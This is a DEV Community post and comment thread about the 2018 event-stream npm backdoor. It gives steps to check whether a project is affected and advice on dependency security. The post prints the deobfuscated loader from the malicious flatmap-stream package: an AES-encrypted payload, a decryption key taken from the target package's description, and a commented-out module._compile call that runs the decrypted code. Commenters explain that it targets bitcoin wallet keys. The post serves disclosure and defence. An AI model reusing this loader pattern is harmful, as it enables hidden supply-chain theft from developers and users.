DEV Community

Ben Halpern
Ben Halpern

Posted on

npm package discovered to have bitcoin-stealing backdoor

I think people expected this would happen, or was already happening. This is a serious security risk we've all been dealing with in open source.

I don't know what to say. #116

EDIT 26/11/2018:

  • Am I affected?: If you are using anything crypto-currency related, then maybe. As discovered by @maths22, the target seems to have been identified as copay related libraries. It only executes successfully when a matching package is in use (assumed to be copay at this point). If you are using a crypto-currency related library and if you see flatmap-stream@0.1.1 after running npm ls event-stream flatmap-stream, you are most likely affected. For example:

    $ npm ls event-stream flatmap-stream
    ...
    flatmap-stream@0.1.1
    ...
    
  • What does it do: Other users have done some good analysis of what these payloads actually do.

  • What can I do: By this time fixes are being deployed and npm has yanked the malicious version. Ensure that the developer(s) of the package you are using are aware of this post. If you are a developer update your event-stream dependency to event-stream@3.3.4. This protects people with cached versions of event-stream.


@dominictarr Why was @right9ctrl given access to this repo? He added flatmap-stream which is entirely (1 commit to the repo but has 3 versions, the latest one removes the injection, unmaintained, created 3 months ago) an injection targeting ps-tree. After he adds it at almost the exact same time the injection is added to flatmap-stream, he bumps the version and publishes. Literally the second commit (3 days later) after that he removes the injection and bumps a major version so he can clear the repo of having flatmap-stream but still have everyone (millions of weekly installs) using 3.x affected.

@right9ctrl If you removed flatmap-stream because your realized it was an injection attack why didn't you yank event-stream@3.3.6 from npm and put a PSA? If you didn't know, why did you choose to use a completely unused/unknown library (0 downloads on npm until you use it)? If I had the exact date from npm in which flatmap-stream@0.1.1 was published I wouldn't be asking you questions.

I've included a break down of what I have so far on flatmap-stream below. It includes the portion of code not found in the unminified source of flatmap-stream@0.1.1 but found in the minified source. The code has been cleaned up a little to get a better understanding.

The worst part is I still don't even know what this does... The decrypted data n[0] is byte code or something, not regular javascript, or maybe I'm just not handling it correctly.

// var r = require, t = process;

// function e(r) {
//     return Buffer.from(r, "hex").toString()
// }
function decode(data) {
    return Buffer.from(data, "hex").toString()
}

// var n = r(e("2e2f746573742f64617461")),
// var n = require(decode("2e2f746573742f64617461"))
// var n = require('./test/data')
var n = ["75d4c87f3f69e0fa292969072c49dff4f90f44c1385d8eb60dae4cc3a229e52cf61f78b0822353b4304e323ad563bc22c98421eb6a8c1917e30277f716452ee8d57f9838e00f0c4e4ebd7818653f00e72888a4031676d8e2a80ca3cb00a7396ae3d140135d97c6db00cab172cbf9a92d0b9fb0f73ff2ee4d38c7f6f4b30990f2c97ef39ae6ac6c828f5892dd8457ab530a519cd236ebd51e1703bcfca8f9441c2664903af7e527c420d9263f4af58ccb5843187aa0da1cbb4b6aedfd1bdc6faf32f38a885628612660af8630597969125c917dfc512c53453c96c143a2a058ba91bc37e265b44c5874e594caaf53961c82904a95f1dd33b94e4dd1d00e9878f66dafc55fa6f2f77ec7e7e8fe28e4f959eab4707557b263ec74b2764033cd343199eeb6140a6284cb009a09b143dce784c2cd40dc320777deea6fbdf183f787fa7dd3ce2139999343b488a4f5bcf3743eecf0d30928727025ff3549808f7f711c9f7614148cf43c8aa7ce9b3fcc1cff4bb0df75cb2021d0f4afe5784fa80fed245ee3f0911762fffbc36951a78457b94629f067c1f12927cdf97699656f4a2c4429f1279c4ebacde10fa7a6f5c44b14bc88322a3f06bb0847f0456e630888e5b6c3f2b8f8489cd6bc082c8063eb03dd665badaf2a020f1448f3ae268c8d176e1d80cc756dc3fa02204e7a2f74b9da97f95644792ee87f1471b4c0d735589fc58b5c98fb21c8a8db551b90ce60d88e3f756cc6c8c4094aeaa12b149463a612ea5ea5425e43f223eb8071d7b991cfdf4ed59a96ccbe5bdb373d8febd00f8c7effa57f06116d850c2d9892582724b3585f1d71de83d54797a0bfceeb4670982232800a9b695d824a7ada3d41e568ecaa6629","db67fdbfc39c249c6f338194555a41928413b792ff41855e27752e227ba81571483c631bc659563d071bf39277ac3316bd2e1fd865d5ba0be0bbbef3080eb5f6dfdf43b4a678685aa65f30128f8f36633f05285af182be8efe34a2a8f6c9c6663d4af8414baaccd490d6e577b6b57bf7f4d9de5c71ee6bbffd70015a768218a991e1719b5428354d10449f41bac70e5afb1a3e03a52b89a19d4cc333e43b677f4ec750bf0be23fb50f235dd6019058fbc3077c01d013142d9018b076698536d2536b7a1a6a48f5485871f7dc487419e862b1a7493d840f14e8070c8eff54da8013fd3fe103db2ecebc121f82919efb697c2c47f79516708def7accd883d980d5618efd408c0fd46fd387911d1e72e16cf8842c5fe3477e4b46aa7bb34e3cf9caddfca744b6a21b5457beaccff83fa6fb6e8f3876e4764e0d4b5318e7f3eed34af757eb240615591d5369d4ab1493c8a9c366dfa3981b92405e5ebcbfd5dca2c6f9b8e8890a4635254e1bc26d2f7a986e29fef6e67f9a55b6faec78d54eb08cb2f8ea785713b2ffd694e7562cf2b06d38a0f97d0b546b9a121620b7f9d9ccca51b5e74df4bdd82d2a5e336a1d6452912650cc2e8ffc41bd7aa17ab17f60b2bd0cfc0c35ed82c71c0662980f1242c4523fae7a85ccd5e821fe239bfb33d38df78099fd34f429d75117e39b888344d57290b21732f267c22681e4f640bec9437b756d3002a3135564f1c5947cc7c96e1370db7af6db24c9030fb216d0ac1d9b2ca17cb3b3d5955ffcc3237973685a2c078e10bc6e36717b1324022c8840b9a755cffdef6a4d1880a4b6072fd1eb7aabebb9b949e1e37be6dfb6437c3fd0e6f135bcea65e2a06eb35ff26dcf2b2772f8d0cde8e5fa5eec577e9754f6b044502f8ce8838d36827bd3fe91cccba2a04c3ee90c133352cbad34951fdf21a671a4e3940fd69cfee172df4123a0f678154871afa80f763d78df971a1317200d0ce5304b3f01ace921ea8afb41ec800ab834d81740353101408733fb710e99657554c50a4a8cb0a51477a07d6870b681cdc0be0600d912a0c711dc9442260265d50e269f02eb49da509592e0996d02a36a0ce040fff7bd3be57e97d07e4de0cdb93b7e3ccea422a5a526fb95ea8508ea2a40010f56d4aa96da23e6e9bcbae09dacccdcd8ac6af96a1922266c3795fb0798affaa75b8ae05221612ce45c824d1f6603fe2afd74b9e167736bfffe01a12b9f85912572a291336c693f133efeac881cd09207505ad93967e3b7a8972cdcce208bfa3b9956370795791ca91a8b9deabde26c3ee2adb43e9f7df2df16d4582a4e610b73754e609b1eea936a4d916bf5ed9d627692bcc8ed0933026e9250d16bdaf2b68470608aeaffedcf2be8c4c176bfc620e3f9f17a4a9d8ef9fe46cca41a79878d37423c0fa9f3ee1f4e6d68f029d6cbb5cbc90e7243135e0fc1dd66297d32adabc9a6d0235709be173b688ba2004f518f58f5459caca60d615ae4dc0d0eeacbe48ca8727a8b42dc78396316a0e223029b76311e7607ea5bd236307ba3b62afeff7a1ef5c0b5d7ee760c0f6472359c57817c5d9cd534d9a34bb4847bbc83c37b14b6444e9f386f1bec4b42c65d1078d54bd007ff545028205099abc454919406408b761a1636d10e39ede9f650f25abad3219b9d46d535402b930488535d97d19be3b0e75fed31d0b2f8af099481685e2b4fa9bff05cbac1b9b405db2c7eae68501633e02723560727a1c8c34c32afc76cdeb82fe8bae34b09cd82402076b9f481d043b080d851c7b6ba8613adba3bc3d5edb9a84fce41130ad328fe4c062a76966cb60c4fa801f359d22b70a797a2c2a3d19da7383025cb2e076b9c30b862456ae4b60197101e82133748c224a1431545fde146d98723ccb79b47155b218914c76f5d52027c06c6c913450fc56527a34c3fe1349f38018a55910de819add6204ab2829668ca0b7afb0d00f00c873a3f18daad9ae662b09c775cddbe98b9e7a43f1f8318665027636d1de18b5a77f548e9ede3b73e3777c44ec962fb7a94c56d8b34c1da603b3fc250799aad48cc007263daf8969dbe9f8ade2ac66f5b66657d8b56050ff14d8f759dd2c7c0411d92157531cfc3ac9c981e327fd6b140fb2abf994fa91aecc2c4fef5f210f52d487f117873df6e847769c06db7f8642cd2426b6ce00d6218413fdbba5bbbebc4e94bffdef6985a0e800132fe5821e62f2c1d79ddb5656bd5102176d33d79cf4560453ca7fd3d3c3be0190ae356efaaf5e2892f0d80c437eade2d28698148e72fbe17f1fac993a1314052345b701d65bb0ea3710145df687bb17182cd3ad6c121afef20bf02e0100fd63cbbf498321795372398c983eb31f184fa1adbb24759e395def34e1a726c3604591b67928da6c6a8c5f96808edfc7990a585411ffe633bae6a3ed6c132b1547237cab6f3b24c57d3d4cd8e2fbbd9f7674ececf0f66b39c2591330acc1ac20732a98e9b61a3fd979f88ab7211acbf629fcb0c80fb5ed1ea55df0735dcf13510304652763a5ed7bde3e5ebda1bf72110789ebefa469b70f6b4add29ce1471fa6972df108717100412c804efcf8aaba277f0107b1c51f15f144ab02dd8f334d5b48caf24a4492979fa425c4c25c4d213408ecfeb82f34e7d20f26f65fa4e89db57582d6a928914ee6fc0c6cc0a9793aa032883ea5a2d2135dbfcf762f4a2e22585966be376d30fbfabb1dfd182e7b174097481763c04f5d7cbd060c5a36dc0e3dd235de1669f3db8747d5b74d8c1cc9ab3a919e257fb7e6809f15ab7c2506437ced02f03416a1240a555f842a11cde514c450a2f8536f25c60bbe0e1b013d8dd407e4cb171216e30835af7ca0d9e3ff33451c6236704b814c800ecc6833a0e66cd2c487862172bc8a1acb7786ddc4e05ba4e41ada15e0d6334a8bf51373722c26b96bbe4d704386469752d2cda5ca73f7399ff0df165abb720810a4dc19f76ca748a34cb3d0f9b0d800d7657f702284c6e818080d4d9c6fff481f76fb7a7c5d513eae7aa84484822f98a183e192f71ea4e53a45415ddb03039549b18bc6e1","63727970746f","656e76","6e706d5f7061636b6167655f6465736372697074696f6e","616573323536","6372656174654465636970686572","5f636f6d70696c65","686578","75746638"]
    // o = t[e(n[3])][e(n[4])];
    // npm_package_description = process[decode(n[3])][decode(n[4])];
    // npm_package_description = process['env']['npm_package_description'];
    npm_package_description = 'Get all children of a pid'; // Description from ps-tree (this is the aes decryption key)

// if (!o) return;
if (!npm_package_description) return;

// var u = r(e(n[2]))[e(n[6])](e(n[5]), o),
// var decipher = require(decode(n[2]))[decode(n[6])](decode(n[5]), npm_package_description),
var decipher = require('crypto')['createDecipher']('aes256', npm_package_description),

    // a = u.update(n[0], e(n[8]), e(n[9]));
    // decoded = decipher.update(n[0], e(n[8]), e(n[9]));
    decoded = decipher.update(n[0], 'hex', 'utf8');

console.log(n); // IDK why this is here...

// a += u.final(e(n[9]));
decoded += decipher.final('utf8');

// var f = new module.constructor;
var newModule = new module.constructor;

/**************** DO NOT UNCOMMENT [THIS RUNS THE CODE] **************/
// f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1])
// newModule.paths = module.paths, newModule['_compile'](decoded, ""), newModule.exports(n[1])
// newModule.paths = module.paths
// newModule['_compile'](decoded, "") // Module.prototype._compile = function(content, filename)
// newModule.exports(n[1])
Enter fullscreen mode Exit fullscreen mode

This is the great post from Hackernoon theorizing this scenario:

I’m harvesting credit card numbers and passwords from your site. Here’s how.

Here's another thread that was just created, related to the topic:

How do we improve security in the npm ecosystem?

I still felt like this was worth a news headline on the site, hence this post. 🙂

Top comments (30)

Collapse
 
rhymes profile image
rhymes

Npm is the perfect attack vector. Thousands of ill maintained packages with thousands of transitive dependencies.

Email one fed up maintainer, get commit rights, spread the malware.

I don't even completely blame the maintainer, he like many probably couldn't wait to take that weight off his shoulder.

I can't think of an easy solution. A package with millions of weekly installs shouldn't be unmaintained, but how do you solve this issue once and for all?

Collapse
 
ben profile image
Ben Halpern

It’s probably much easier said than done to cut this off at the head, but static analysis + web crawling can probably go a lot further.

One side conversation is the dependency mayhem we engage in for reasons that have nothing to do with security.

  • Performance
  • Maintainability
  • Customizability

Lots of reasons to to trend conservative on including dependencies, especially on the client.

Left-pad had a big affect on me.

Collapse
 
nektro profile image
Meghan (she/her)

Be very careful of adding dependencies

Collapse
 
rhymes profile image
rhymes

It's easier said than done.

For example:

Collapse
 
david_j_eddy profile image
David J Eddy

This is one of the reasons every project should have a security point of contact. If not only to audit any dependencies added to the project; but to help the team stay ahead of emerging threats.

Multiple providers now offer security scanning as whole or part of the offered services. This can/does catch many security compromises before the code reaches any environments. Security needs to be a first class concern just like UX usability, performance, and database integrity. I dislike using trending works but this is a cornerstone of DevSecOps. DevOps + Security bakes in.

As a side note event-stream has nearly 2 MILLION downloads a week; wow.

Collapse
 
gypsydave5 profile image
David Wickes

As a side note event-stream has nearly 2 MILLION downloads a week; wow.

Everytime you delete that bloody node_modules directory and start again...

Collapse
 
pbnj profile image
Peter Benjamin (they/them)

Came here to say just that, but you beat me to it.

A few things developers can do right now to introduce or elevate the security posture of their projects:

  1. Incorporate a security static code analysis tool to ensure the code you're writing is safe (e.g. awesome-static-code-analysis).
  2. Incorporate compositional analysis tools to ensure your dependencies are free of vulnerabilities (e.g. snyk, npm audit).
  3. Enable & require MFA when publishing modules to npm.
  4. Be cautious of dependencies that don't do any of the above and prefer a little copying over bringing in an entire dependency if the scope of the dependency is small enough.
Collapse
 
david_j_eddy profile image
David J Eddy

(e.g. awesome-static-code-analysis). <- Awesome List is awesome! Thank you for the other tools as well. Very good mind set and security policies.

Collapse
 
yaser profile image
Yaser Al-Najjar

That's why I HATE deleting-issue feature in github!

Collapse
 
yorodm profile image
Yoandy Rodriguez Martinez

True that

Collapse
 
aturingmachine profile image
Vince

So this hack is actually kind of beautiful, from an engineering standpoint. It is meant to only trigger when run by a certain bitcoin wallet package, which has the original affected package as a dependency. The code then grabs your wallets private key. It requires the malicious code through an obfuscated require call. Which then only tries to do bad things if it reads a certain npm package description, the one from copay I believe. Equally beautiful and malicious.

The REAL kicker is that the malicious code only lived in the minified source of the flatmap-stream package. It was only able to decode and run when it hit the proper NPM package description.

The culprit loaded in malicious code into a widely used package distributed over loads of projects to hit a single package that used it as a dependency.

Collapse
 
yorodm profile image
Yoandy Rodriguez Martinez • Edited

Mmm, malicious code that targets Javascript and the Blockchain....I will call it Buzzware 😝

Collapse
 
gypsydave5 profile image
David Wickes

Great. Left-pad's evil twin finally arrived.

One of the reasons I've never liked the Node ecosystem is the ill managed nature of NPM. 'The largest package system in the world' - sure, but it's massive swamp of crap for the most part. I'd deliberately try to use the most minimal tools when bringing things in to my projects - tape instead of ava for instance.

You'd not get this madness in, say, Perl. Or even Go. Is the culture to blame? Massive frontend frameworks? A failure to recognize what we owe to each other when we publish software?

Collapse
 
rhymes profile image
rhymes

It's a mixture of many things in my opinion.

Maintainers that aren't paid and get fed up at some point, carelessness, the absence of a vetting system or a network of trust, the absence of static security analysis, the absence of a standard library, the culture of writing small modules for everything (search the is true package).

There's a thread going around where a developer counted that the react starter kit installs 1700 packages. Most of them are transitive dependencies.

The package in question is a transitive dependency of transitive dependencies, most people don't even know it exists.

The graph of most packages, not just frameworks, it's just stupid

Collapse
 
theodesp profile image
Theofanis Despoudis • Edited

The real problem here is when you had old packages that include the infected packages.

You have to go an update everything to the latest version, possibly breaking stuff and pray that npm ls event-stream flatmap-stream does not show anything suspicious.

img

Collapse
 
awwsmm profile image
Andrew (he/him)

Apparently React has something like 1800 dependencies. How can anyone expect to know everything going into their code when we've reached a state like that?

Collapse
 
bennypowers profile image
Benny Powers 🇮🇱🇨🇦 • Edited
Collapse
 
ben profile image
Ben Halpern
Collapse
 
elmuerte profile image
Michiel Hendriks

This is a serious security risk we've all been dealing with in open source.

That's right. In propriety software you cannot even deal with it. It cannot easily be detected, and once detected you cannot fix it yourself.

Collapse
 
rhymes profile image
rhymes

Also keep in mind that huge companies and small startups alike all basically depend on the same graph of packages, and nobody noticed in time.

I still can't believe that the maintainer of the package is also the maintainer of other hundreds of packages, that's absurd. Nobody should be in charge of so many dependencies by themselves

Collapse
 
kayis profile image
K • Edited

I think André sums it up pretty good.

Collapse
 
rhymes profile image
rhymes • Edited

There has to be something to be said about an ecosystem that allows/entrusts/lets a single human being be in charge of 700 packages. It's too much

Collapse
 
antonrich profile image
Anton

That's beyond too much. That's too freaking much.

Collapse
 
phlash profile image
Phil Ashby

Possibly, what strikes me is that there seems to be a culture of taking and not giving back going on - otherwise the original maintainer would have some /help/ looking after what are obviously popular packages? Or is this a symptom of a rapidly evolving package landscape, where /nobody/ has enough help because they are all spread so thinly re-writing similar things? In this case it may be that the evolutionary pressures (like malware infestation!) whittle the noise down and leave us with fewer, better maintained things.

Full-disclosure: I've tried to use NPM once (not by choice), it b0rked with missing packages and I walked away (thanks 'dotnet new react' template).

Collapse
 
timosarkar profile image
Timo Sarkar

Holy crap

Collapse
 
bgadrian profile image
Adrian B.G.

expecting to happen

This is only the beginning, when the avg packages imported per project is over 1000 what could go wrong?

Collapse
 
ulimn profile image
Ulimn

I'm curious: does Maven (Java) has issues like this? I'm thinking of Maven Central repository mainly here.

Collapse
 
fnh profile image
Fabian Holzer

I'm not aware of attacks that follow a similar format as the one described, but what is quite common is that you have a neglected POM file and thereby get outdated dependecies into your class path. There is for example a plugin for java build tools that checks your project depencencies against known vulnerabilites (OWASP_Dependency_Check).

The problem is, even if you are rather conservative with your third-parties, unless you eliminate them completely, the node ecosystem will still be too fragmented into small packages, as that anybody could ensure the integrity of all dependencies by manual review, which is frankly a major headache.

Collapse
 
yb profile image
yb

My question is... Who codes with the same computer on which he manages his (crypto) currencies?

Everybody from the crypto sphere should know that those kind of attacks will never stop.

Collapse
 
aturingmachine profile image
Vince

The idea was to hit a certain crypto package that used event-stream as a dependency. The code would only execute when run by that package.